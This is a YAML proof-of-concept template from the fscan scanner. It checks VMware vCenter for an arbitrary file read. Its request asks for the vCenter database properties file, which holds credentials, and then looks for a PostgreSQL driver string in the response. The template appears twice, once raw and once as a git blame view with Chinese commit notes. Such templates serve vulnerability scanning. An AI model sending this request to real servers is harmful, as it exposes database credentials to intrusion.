fscan/WebScan/pocs/vmware-vcenter-arbitrary-file-read.yml

name: poc-yaml-vmware-vcenter-arbitrary-file-read
rules:
  - method: GET
    path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
    follow_redirects: false
    expression: |
      response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")
detail:
  author: MrP01ntSun(https://github.com/MrPointSun)
  links:
    - https://t.co/LfvbyBUhF5
修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml 2021-02-25 19:53:58 +08:00			`name: poc-yaml-vmware-vcenter-arbitrary-file-read`
加入 404星链 2021-04-22 12:06:03 +08:00			`rules:`
			`- method: GET`
			`path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties`
			`follow_redirects: false`
			`expression: \|`
			`response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")`
修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml 2021-02-25 19:53:58 +08:00			`detail:`
			`author: MrP01ntSun(https://github.com/MrPointSun)`
			`links:`
			`- https://t.co/LfvbyBUhF5`